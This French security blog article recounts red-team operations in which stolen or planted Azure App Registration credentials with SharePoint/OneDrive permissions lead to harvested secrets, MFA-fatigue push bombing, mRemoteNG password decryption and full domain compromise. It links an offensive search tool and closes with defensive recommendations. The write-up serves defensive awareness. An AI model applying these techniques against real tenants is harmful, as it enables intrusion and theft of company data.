<p style="text-align: justify;">Par défaut sous-estimées par les équipes techniques internes et de défense, souvent sur-privilégiées, les <em>App registrations</em> peuvent permettre des pivots puissants suite à la compromission de l’environnement cloud.</p>
<p style="text-align: justify;">Parmi les services les plus exposés, <em>Microsoft SharePoint</em> se distingue. Présent sur la majorité des tenants M365, souvent configuré de manière permissive, il offre un <strong>accès aux fichiers de l’entreprise via SharePoint et des collaborateurs au travers de OneDrive</strong>.</p>
<p style="text-align: justify;">Cet article revient sur plusieurs constats observés en opération Red Team&nbsp;: comment une simple<em> App Registration</em>, liée de près ou de loin à SharePoint, peut offrir un accès élargi à votre SI on-premise, et comment l’exploitation de ce maillon faible permet parfois de faire de votre segmentation en Tiers une simple formalité pour l&rsquo;attaquant.</p>
<p style="text-align: justify;">&nbsp;</p>
<h2 class="Title2" style="text-align: justify;"><span lang="FR">Introduction aux App Registrations</span></h2>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">Dans Microsoft Azure, l’enregistrement d’une application (<em>App Registration</em>) dans Entra ID permet de créer une identité pour cette application, ainsi qu’une <em>Enterprise Application</em> associée. L’<em>App Registration</em> définit l’application (identifiants, clés, permissions), tandis que l’<em>Enterprise Application</em> représente son instance dans le tenant, sur laquelle sont appliquées les politiques d’accès (comme l’authentification conditionnelle portée par les politiques d’accès conditionnels ou les rôles attribués).</p>
<p style="text-align: justify;">Une <em>App Registration</em> contient les informations requises pour s’authentifier auprès d’Entra ID et obtenir des jetons d’accès pour interagir avec des services Microsoft 365 via des API comme Microsoft Graph. Selon les permissions qui lui sont accordées (déléguées (scopes) ou applicatives (rôles)) elle peut lire ou modifier des ressources telles que des mails, des fichiers, des utilisateurs ou des groupes tant que l’<em>Enterprise Application</em> est instanciée dans le tenant.</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27932" aria-describedby="caption-attachment-27932" style="width: 1527px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-27932 " src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/1.png" alt="App Registration dans EntraID" width="1527" height="796" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/1.png 1452w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/1-366x191.png 366w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/1-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/1-768x400.png 768w" sizes="auto, (max-width: 1527px) 100vw, 1527px" /><figcaption id="caption-attachment-27932" class="wp-caption-text"><em>App Registration dans EntraID</em></figcaption></figure>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">Généralement utilisées pour enregistrer une application visant à automatiser des processus métiers (gestion des utilisateurs, nettoyage de fichiers SharePoint, supervision de l’activité O365…), elles constituent une <strong>surface peu surveillée</strong>, mais à fort impact.</p>
<p style="text-align: justify;">En effet, les secrets des <em>App Registrations</em> (certificats, client secrets) sont souvent stockés de manière non sécurisée (dans des dépôts de code, postes de travails, serveurs). Ces secrets permettent de personnifier une application avec des privilèges potentiellement élevés (listés dans l’<em>App Registration</em>) entraînant une<strong> persistance discrète sur les ressources de l’entreprise.</strong></p>
<p style="text-align: justify;">Pour un attaquant, compromettre une <em>App Registration</em> revient à <strong>s’approprier une identité applicative EntraID disposant d’un accès direct à certaines données de l&rsquo;entreprise</strong>, sans nécessiter de rebond par des comptes utilisateurs interactifs ni MFA. Alors que les sécurités se multiplient autour des comptes utilisateurs (MFA obligatoire, accès conditionnel imposant une adresse IP ou un appareil de confiance), il est souvent constaté que celles-ci ne sont pas encore appliquées aux applications.</p>
<p style="text-align: justify;">&nbsp;</p>
<h3 class="Title3" style="text-align: justify;"><span lang="FR">Se connecter en tant qu&rsquo;une App Registration</span></h3>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">Les <strong>applications Azure</strong> peuvent s’authentifier auprès d’Entra ID à l’aide de secrets d’application générés dans <strong>l’App registration</strong> associée&nbsp;:</p>
<ul style="text-align: justify;">
<li>
<p><em><span style="text-decoration: underline;">AppId + App Secret</span>: </em>Ce moyen d’authentification, équivalent à l’usage d’un nom d’utilisateur et d’un mot de passe est soumis aux mêmes limitations&nbsp;: il est <strong>compliqué d’assurer leur protection</strong> car ils peuvent facilement se retrouver stockés de manière non sécurisée, exposés dans les historiques de commandes, etc…</p>
</li>
<li>
<p><em><span style="text-decoration: underline;">AppId + Certificat</span>: </em>Cette méthode de connexion est davantage sécurisée, puisque les solutions de sécurité installées sur les machines protègent de manière efficace les certificats installés. Néanmoins, celle-ci est généralement moins utilisée en raison des contraintes d&rsquo;utilisation qu&rsquo;elle implique, telle que l&rsquo;installation du certificat sur chaque machine nécessitant l&rsquo;utilisation du compte.</p>
</li>
</ul>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27934" aria-describedby="caption-attachment-27934" style="width: 1480px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27934" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/2-437x160.png" alt="Certificats et secrets de l'App Registration" width="1480" height="542" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/2-437x160.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/2-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/2-768x281.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/2-1536x563.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/2.png 1801w" sizes="auto, (max-width: 1480px) 100vw, 1480px" /><figcaption id="caption-attachment-27934" class="wp-caption-text"><em>Certificats et secrets de l&rsquo;App Registration</em></figcaption></figure>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">Les identifiants et secrets d&rsquo;une application lui permettent de récupérer un jeton d’accès <em>OAuth2</em>, afin de s’authentifier et d’appeler des API Microsoft (Graph, SharePoint, Exchange, etc.) qu&rsquo;elle est autorisée à contacter. Ce mode de connexion est généralement difficile à détecter si les journaux d’accès ne sont pas activés ni supervisés.</p>
<p style="text-align: justify;">&nbsp;</p>
<h3 class="Title3" style="text-align: justify;"><span lang="FR">Les droits d&rsquo;une App Registration</span></h3>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">Chaque <em>App Registration</em> définit les <strong>permissions API associées à l’application enregistrée</strong>. Elles sont décrites sous forme de rôles ou de scopes, sur différents services Microsoft. A titre d’exemples, ces autorisations d’application peuvent permettre de&nbsp;:</p>
<ul style="text-align: justify;">
<li>Lire ou modifier des profils utilisateurs (<em>User.ReadWrite.All</em>)&nbsp;;</li>
<li>Gérer des objets dans l’annuaire Entra ID (<em>Directory.ReadWrite.All</em>)&nbsp;;</li>
<li>Lire, écrire ou supprimer des fichiers SharePoint ou OneDrive (<em>Files.ReadWrite.All</em>)&nbsp;;</li>
<li>Lire ou écrire des mails dans toutes les boîtes mails (<em>Mail.ReadWrite</em>)&nbsp;;</li>
<li>Etc.</li>
</ul>
<p style="text-align: justify;">Lors des audits, il est constaté que ces droits sont <strong>souvent surdimensionnés</strong> par rapport aux besoins réels des applications. Ils peuvent ainsi offrir à un attaquant un <strong>levier d’élévation de privilèges majeur</strong> s’ils sont récupérés.</p>
<p style="text-align: justify;">D’autre part, un attaquant peut <strong>identifier les droits d’une application au travers de l’</strong><em>App Registration</em><strong> associée et compromise</strong> en s’authentifiant via l’URL <a href="https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token"><span style="color: #000080;">https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token</span></a><span style="color: #000080;">&nbsp;</span>:</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27936" aria-describedby="caption-attachment-27936" style="width: 1423px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27936" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/3-437x128.png" alt="Récupération d’un jeton d’accès à l’API Microsoft Graph" width="1423" height="417" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/3-437x128.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/3-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/3-768x225.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/3-1536x451.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/3.png 1667w" sizes="auto, (max-width: 1423px) 100vw, 1423px" /><figcaption id="caption-attachment-27936" class="wp-caption-text"><em>Récupération d’un jeton d’accès à l’API Microsoft Graph</em></figcaption></figure>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">Le jeton d’accès obtenu est au format <em>base64</em>, et les droits définis par l’App Registration y sont présents&nbsp;:</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27997" aria-describedby="caption-attachment-27997" style="width: 720px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-27997 " src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/4.png" alt="Récupération des droits de l’App Registration compromiseRécupération des droits de l’App Registration compromise" width="720" height="602" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/4.png 1035w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/4-229x191.png 229w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/4-47x39.png 47w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/4-768x642.png 768w" sizes="auto, (max-width: 720px) 100vw, 720px" /><figcaption id="caption-attachment-27997" class="wp-caption-text"><em>Récupération des droits de l’App Registration compromiseRécupération des droits de l’App Registration compromise</em></figcaption></figure>
<p style="text-align: justify;">&nbsp;</p>



<h2 style="text-align: justify;">Compromission d&rsquo;App Registrations en opération Red Team</h2>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Dans le cadre d&rsquo;une attaque, il est très fréquent que la compromission s&rsquo;opère de manière progressive.</p>
<p style="text-align: justify;">Généralement, un premier serveur est compromis, puis un second, etc. jusqu&rsquo;à atteindre des composants plus critiques de l&rsquo;infrastructure ou des utilisateurs davantage privilégiés : accès initial, élévation de privilèges, latéralisation, et ainsi de suite.</p>
<p style="text-align: justify;">Ces dernières années, l&rsquo;implémentation du modèle en Tiers (Tier-0, Tier-1 et Tier-2) au sein des infrastructures Active Directory s&rsquo;est généralisée, avec par la même occasion une augmentation du niveau de sécurité des SI on-premise. Un nouveau facteur s’est également ajouté avec le développement des agents EDR : la détection !</p>
<p style="text-align: justify;">Dorénavant au sein d&rsquo;environnements matures, il est plus difficile de compromettre le Tier-0 (contrôleur de domaine, PKI, etc.) par la simple compromission d&rsquo;un serveur Tier-1, le tout sans se faire détecter par la Blue Team, l’équipe de défense.</p>
<p style="text-align: justify;">Toutefois, au cours de plusieurs opérations au sein d&rsquo;environnement très variés, SharePoint s&rsquo;est présenté comme un vecteur d&rsquo;élévation de privilèges redoutable, et où <strong>aucune détection</strong> n&rsquo;a été remontée côté Blue Team.</p>
<p style="text-align: justify;">Plusieurs retours d&rsquo;expériences d&rsquo;opérations Red Team illustrant ce propos sont partagés ci-dessous.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Cas n°1 : Administrateur Tier-2 d&rsquo;un sous-domaine vers la compromission de la forêt Active Directory</h3>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Ce cas illustre une opération pour un client international dont le SI se compose de plusieurs milliers de serveurs, qu&rsquo;il s&rsquo;agisse de serveurs applicatifs et métiers, industriels, d&rsquo;infrastructure, etc. La compromission d&rsquo;un premier serveur a engendré la <strong>compromission de comptes administrateurs Tier-1 puis Tier-2</strong>.</p>
<p style="text-align: justify;">Dès l’obtention de privilèges d’administration acquis sur des postes de travail (Tier-2), une phase de collecte ciblée s&rsquo;est amorcée dans le but d’identifier des secrets applicatifs.</p>
<p style="text-align: justify;">Sur plusieurs postes d’utilisateurs à profil technique (équipes DevOps, Cloud, etc.), des scripts PowerShell sont découverts. Certains contiennent des <strong>identifiants liés à des App Registrations</strong>, avec un <em>AppId</em>, un <em>AppSecret</em>, ainsi que l&rsquo;identifiant du tenant Azure auquel ils sont associés :</p>
<p style="text-align: justify;"> </p>
<figure id="attachment_27940" aria-describedby="caption-attachment-27940" style="width: 1570px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-27940 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/5.png" alt="Script PowerShell contenant les identifiants de l'App Registration" width="1570" height="1066" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/5.png 1570w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/5-281x191.png 281w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/5-57x39.png 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/5-768x521.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/5-1536x1043.png 1536w" sizes="auto, (max-width: 1570px) 100vw, 1570px" /><figcaption id="caption-attachment-27940" class="wp-caption-text"><em>Script PowerShell contenant les identifiants de l&rsquo;App Registration</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">L’exploitation de ces secrets permet à l’attaquant de <strong>se connecter directement à la </strong><em>Microsoft Graph API</em>, avec les autorisations déjà consenties définies dans l’<em>App Registration</em> compromise.</p>
<p style="text-align: justify;">L’<em>App Registration</em> identifiée dans ce contexte contient des droits d’application étendus sur O365, notamment :</p>
<ul style="text-align: justify;">
<li><em>User.ReadWrite.All</em>: Lire et modifier tous les profils utilisateurs.</li>
<li><em>Directory.Read.All</em>: Lire les données du répertoire.</li>
<li><em>Directory.ReadWrite.All</em>: Lire et écrire les données du répertoire.</li>
<li><em>Group.ReadWrite.All</em>: Lire et écrire toutes les informations des groupes.</li>
<li><span style="color: #ff0000;"><em>Files.ReadWrite.All</em>:</span> Lire et écrire tous les fichiers.</li>
<li><em>Mail.ReadWrite</em>: Lire, créer, supprimer des mails en toutes les boîtes mails.</li>
<li><em>Calendars.ReadWrite</em>: Lire et écrire tous les calendriers.</li>
<li><em>Contacts.ReadWrite</em>: Lire et écrire tous les contacts.</li>
<li><em>Tasks.ReadWrite</em>: Lire et écrire toutes les tâches.</li>
</ul>
<p style="text-align: justify;">Parmi cet ensemble de permissions d’application, le droit <em>Files.ReadWrite.All</em> s’avère <strong>particulièrement critique et intéressant pour un attaquant</strong>, autorisant un accès complet à tous les fichiers stockés sur <em>SharePoint</em> et <em>OneDrive</em>.</p>
<p style="text-align: justify;"><em><strong><span style="text-decoration: underline;">Note :</span></strong> Ces permissions peuvent être « déléguées » et dans ce cas ne s’appliquent que dans le contexte de ce que peut faire l’utilisateur.</em></p>
<p style="text-align: justify;">Un script PowerShell a été développé par l&rsquo;équipe Red Team Wavestone <span style="color: #000080;">(<a style="color: #000080;" href="https://github.com/Ethical-Kaizoku/SharePwned">SharePwned</a>)</span> afin d&rsquo;effectuer des recherches sur SharePoint et OneDrive basées sur des mots-clefs, et télécharger les fichiers souhaités.</p>
<p style="text-align: justify;">Par le biais de ce script et via une <strong>recherche sur le nom de domaine de la forêt d&rsquo;administration Active Directory</strong> (<em>admin.xx.xxxx.net</em>), plusieurs fichiers ont été identifiés au sein d&rsquo;espaces OneDrive d&rsquo;utilisateurs, puis téléchargés :</p>
<p style="text-align: justify;"> </p>
<figure id="attachment_27942" aria-describedby="caption-attachment-27942" style="width: 1988px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-27942 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/6-FR.png" alt="Identification dans OneDrive de fichiers contenant des secrets" width="1988" height="361" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/6-FR.png 1988w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/6-FR-437x79.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/6-FR-71x13.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/6-FR-768x139.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/6-FR-1536x279.png 1536w" sizes="auto, (max-width: 1988px) 100vw, 1988px" /><figcaption id="caption-attachment-27942" class="wp-caption-text"><em>Identification dans OneDrive de fichiers contenant des secrets</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<figure id="attachment_27944" aria-describedby="caption-attachment-27944" style="width: 635px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-27944 " src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/7.png" alt="Récupération de comptes sur la forêt d’administration AD" width="635" height="414" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/7.png 1398w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/7-293x191.png 293w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/7-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/7-768x500.png 768w" sizes="auto, (max-width: 635px) 100vw, 635px" /><figcaption id="caption-attachment-27944" class="wp-caption-text"><em>Récupération de comptes sur la forêt d’administration AD</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Ces fichiers, stockés sur l&rsquo;espace OneDrive d&rsquo;utilisateurs à privilèges, permettent d&rsquo;identifier les <strong>serveurs de rebond utilisés pour accéder à la forêt Active Directory d&rsquo;administration du SI</strong>.</p>
<p style="text-align: justify;">Le <strong>stockage non sécurisé des secrets</strong> sur les postes de travail et espaces Cloud représente une faille de sécurité majeure. Pour autant, l&rsquo;absence de sécurité et de supervision autour de cette <em>App Registration</em> liée à d’importants privilèges représente une vulnérabilité critique dès lors qu’une <em>Enterprise Application</em> associée est instanciée dans le tenant.</p>
<p style="text-align: justify;">Dans le cas présent, la compromission du Tier-2, puis l&rsquo;accès en lecture aux fichiers stockés sur les espaces OneDrive des collaborateurs a permis d&rsquo;<strong>identifier rapidement les secrets et rebonds réseaux nécessaires à la compromission du Tier-0 de l&rsquo;entreprise</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Cas n°2 : Accès distant au réseau d&rsquo;entreprise du Groupe à partir de la compromission d&rsquo;une filiale</h3>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Ce second cas présente une opération Red Team ciblant une entreprise disposant de nombreuses filiales et dont les réseaux ne communiquent pas entre eux.</p>
<p style="text-align: justify;">Tout d&rsquo;abord, le SI d&rsquo;une <strong>première filiale a été compromis</strong>, ainsi que son tenant Azure.</p>
<p style="text-align: justify;">A des fins de persistances et de recherches, une <em>App Registration</em> a alors été créée par la Red Team, tout en ajoutant l’autorisation d’application <em>Files.Read.All.</em></p>
<p style="text-align: justify;">En téléchargeant les secrets de l&rsquo;application lors de sa création, il est une nouvelle fois possible d&rsquo;utiliser l&rsquo;outil développé par la RT Wavestone pour effectuer des recherches SharePoint et OneDrive :</p>
<p style="text-align: justify;"> </p>
<figure id="attachment_27946" aria-describedby="caption-attachment-27946" style="width: 1920px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-27946 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/8-FR.png" alt="Découverte de secrets dans les espaces OneDrive d’utilisateurs" width="1920" height="344" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/8-FR.png 1920w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/8-FR-437x78.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/8-FR-71x13.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/8-FR-768x138.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/8-FR-1536x275.png 1536w" sizes="auto, (max-width: 1920px) 100vw, 1920px" /><figcaption id="caption-attachment-27946" class="wp-caption-text"><em>Découverte de secrets dans les espaces OneDrive d’utilisateurs</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">En effectuant des recherches de mots de passe, des <strong>comptes associés à des solutions d’accès distants</strong> à l&rsquo;entreprise cible du Red Team sont identifiés. En effet, certains membres des équipes Finance de la filiale compromise disposent d’<strong>accès à la solution de bureau distant du groupe</strong>, et stockent leur mot de passe en clair sur leur espace OneDrive.</p>
<p style="text-align: justify;">Bien qu&rsquo;un MFA soit configuré pour l&rsquo;ensemble des utilisateurs de cette solution, seule une approbation de la notification est requise, et aucun code n&rsquo;est demandé. En noyant les utilisateurs de notifications MFA, l’un d’eux a finalement validé l’authentification, permettant aux opérateurs Red Team <strong>d’accéder temporairement à la solution de bureau distant.</strong></p>
<p style="text-align: justify;">Finalement, en accédant à l&rsquo;application de Finance hébergée sur une machine virtuelle Windows, un <strong>accès au réseau interne du groupe</strong> est récupéré.</p>
<p style="text-align: justify;">Ainsi, à partir d&rsquo;une compromission de filiale sans interconnexion directe avec le réseau groupe, l&rsquo;usage d&rsquo;<em>App Registrations</em> a permis une fois encore de <strong>découvrir des secrets et rebondir sur le SI groupe</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Cas n°3 : Compromission de l&rsquo;EDR déployé sur les contrôleurs de domaine à partir de la chaîne CICD</h3>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">La compromission de l’environnement CICD du client (hébergé sur AWS) a mené à la compromission de son serveur <em>GitLab</em>. Avec les droits <em>root</em> sur le serveur <em>GitLab</em>, il est possible d&rsquo;accéder à sa base de données, et aux secrets qui y sont stockés. Bien que ceux-ci soient chiffrés, il est possible de les déchiffrer via la console <em>GitLab Rails</em>.</p>
<p style="text-align: justify;">Parmi ces secrets, des <em>clientID</em> et <em>clientSecrets</em> Azure d’une App Registration sont récupérés. Ces identifiants d&rsquo;accès permettent de se connecter à Azure sous l’identité de l’application associée, dans le cas présent sous l’identité de l’application <em>GitLab</em>.</p>
<p style="text-align: justify;">Sur le tenant client, l’application <em>GitLab</em> dispose d’un rôle de <strong>contributeur</strong> sur les ressources d’une souscription Azure. Cela signifie qu’elle peut <strong>gérer les accès</strong> aux ressources, et en <strong>lire le contenu</strong>.</p>
<p style="text-align: justify;">Parmi les ressources accessibles, des secrets sont stockés (et accessibles en lecture) dans un coffre-fort Azure Vault. En particulier, des <em>clientId</em> et <em>clientSecret</em> y sont présents :</p>
<p style="text-align: justify;"> </p>
<figure id="attachment_27948" aria-describedby="caption-attachment-27948" style="width: 1931px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-27948 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/9.png" alt="Exfiltration des secrets d’une App Registration dans un Vault" width="1931" height="809" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/9.png 1931w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/9-437x183.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/9-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/9-768x322.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/9-1536x644.png 1536w" sizes="auto, (max-width: 1931px) 100vw, 1931px" /><figcaption id="caption-attachment-27948" class="wp-caption-text"><em>Exfiltration des secrets d’une App Registration dans un Vault</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Une nouvelle application Azure, nommée <em>xxxxx-NettoyageSharePoint</em>, est ainsi obtenue. Celle-ci possède les permissions nécessaires pour <strong>lire l’intégralité de SharePoint et OneDrive</strong>.</p>
<p style="text-align: justify;">En utilisant une première version de l&rsquo;outil <em>SharePwned</em>, une recherche de secrets est effectuée au sein des espaces OneDrive des collaborateurs. Des secrets stockés de manière non sécurisée sont découverts dans des fichiers de configuration d’outils d’administration, tels que <em>mRemoteNg</em>. Ces fichiers de configuration contiennent généralement des mots de passe <strong>chiffrés avec une clé publique connue</strong>. Ainsi, il est possible de les <strong>déchiffrer et obtenir les mots de passe en clair</strong> des utilisateurs :</p>
<p style="text-align: justify;"> </p>
<figure id="attachment_27950" aria-describedby="caption-attachment-27950" style="width: 1927px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-27950 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/10.png" alt="Obtention de secrets stockés de manière non sécurisée dans OneDrive" width="1927" height="165" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/10.png 1927w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/10-437x37.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/10-71x6.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/10-768x66.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/10-1536x132.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/10-1920x165.png 1920w" sizes="auto, (max-width: 1927px) 100vw, 1927px" /><figcaption id="caption-attachment-27950" class="wp-caption-text"><em>Obtention de secrets stockés de manière non sécurisée dans OneDrive</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Le compte récupéré ici dispose de <strong>privilèges d&rsquo;administration sur l&rsquo;application IAM</strong> de l&rsquo;entreprise.</p>
<p style="text-align: justify;">Après de multiples <strong>recherches de documentations</strong> sur SharePoint, toujours en utilisant l&rsquo;outil <em>SharePwned</em> afin de cibler les recherches, l&rsquo;équipe Red Team a pu comprendre les moyens d’intervention de l’équipe SOC sur le Système d’Information, les coffres-forts où sont stockés leurs secrets, et les droits nécessaires pour y accéder.</p>
<p style="text-align: justify;">Alors, en utilisant le compte administrateur de l’IAM récupéré dans OneDrive, une attaque se basant sur les procédures d’intervention du SOC a été réalisée pour <strong>compromettre </strong><strong>intégralement le Système d&rsquo;Information</strong> on-premise du client.</p>
<p style="text-align: justify;">Dans ce cas de figure également, des recherches ciblées sur SharePoint et OneDrive ont permis de <strong>récupérer de l&rsquo;information technique très intéressante pour un attaquant</strong>, notamment l&rsquo;agent EDR déployé sur les DC, les secrets nécessaires à son utilisation, les droits à s&rsquo;attribuer pour y accéder.</p>
<p style="text-align: justify;">Au-delà des mots de passe récupérés (chiffrés ou non) dans l’ensemble des scénarios précédemment décrits, SharePoint et OneDrive représentent un <strong>accès à la connaissance du SI</strong> pour l’attaquant. Lorsque l’attaquant se veut discret, il doit <strong>reproduire au mieux les flux métiers et d’administrations légitimes de l’entreprise</strong>. Le prérequis à cela est tout d’abord de les connaître, pour ensuite les comprendre et les appliquer.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Protéger et détecter les usages malveillants des App Registrations</h2>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Comme énoncé précédemment, SharePoint et OneDrive ont permis l’obtention de secrets relativement sensibles et compromettants pour les SI clients. Il reste donc primordial de <strong>sensibiliser les collaborateurs</strong> au stockage sécurisé des secrets et de les outiller à ces mêmes fins.</p>
<p style="text-align: justify;">Malgré cela, il convient d’appliquer des processus et des mesures de sécurité à ces applications afin de leur faire respecter les <strong>principes de moindre privilège</strong> et de <strong>défense en profondeur</strong>. Ci-dessous sont listées des recommandations à appliquer à ces App Registrations.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Revue régulière et principe de moindre privilège</h3>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Il convient d’<strong>inventorier</strong> les applications disposant des permissions sur SharePoint et <strong>restreindre ces applications au strict minimum</strong>. Les permissions en question sont les suivantes :</p>
<ul style="text-align: justify;">
<li>Sites.Read.All;</li>
<li>Sites.ReadWrite.All;</li>
<li>Sites.FullControl;</li>
<li>Files.Read.All;</li>
<li>Files.ReadWrite.All.</li>
</ul>
<p style="text-align: justify;">Au même titre que pour les utilisateurs et groupes à privilèges, une <strong>revue régulière</strong> de ces <em>App</em> <em>Registrations</em> est nécessaire.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Gestion et supervision des secrets</h3>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Afin d&rsquo;éviter que des <em>App Secret</em> ne se retrouvent stockés de manière non sécurisée (au sein de scripts, documentations, mails, etc.), il est recommandé de <strong>préférer l&rsquo;usage de certificats de connexion</strong>.</p>
<p style="text-align: justify;">De manière générale, <strong>les secrets</strong> de connexion doivent faire l&rsquo;objet d&rsquo;un<strong> renouvellement régulier et automatisé</strong>.</p>
<p style="text-align: justify;">La création d’une <em>App Registration</em> génère automatiquement la création d’une <em>Enterprise Application</em>. Lorsque celle-ci se voit attribuer des permissions de lecture sur SharePoint, un consentement de la part d&rsquo;un <em>Global Administrator</em> est nécessaire. Il n&rsquo;est ainsi pas trivial pour un attaquant de créer ce type d&rsquo;applications privilégiées et l&rsquo;ajout d&rsquo;un secret à une application existante à privilèges sera souvent préférée par l’attaquant.</p>
<p style="text-align: justify;">Il convient donc de <strong>superviser la création de nouveaux secrets de connexion sur les applications à privilèges</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Réduire la surface d’exposition</h3>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Enfin, il est recommandé de <strong>limiter les capacités d&rsquo;utilisation de ces applications</strong>. Il peut s&rsquo;agir de <strong>restrictions sur l&rsquo;adresse IP</strong> source ou encore sur les <strong>plages horaires</strong> d&rsquo;utilisation de l&rsquo;application.</p>
<p style="text-align: justify;"><em><span style="text-decoration: underline;"><strong>Note :</strong></span> Il n’est pas toujours nécessaire d’appliquer ces mesures en mode « bloquant ». En effet, une détection sans blocage peut déjà permettre à la Blue Team de prendre connaissance de l’attaque et amorcer sa réponse.</em></p>






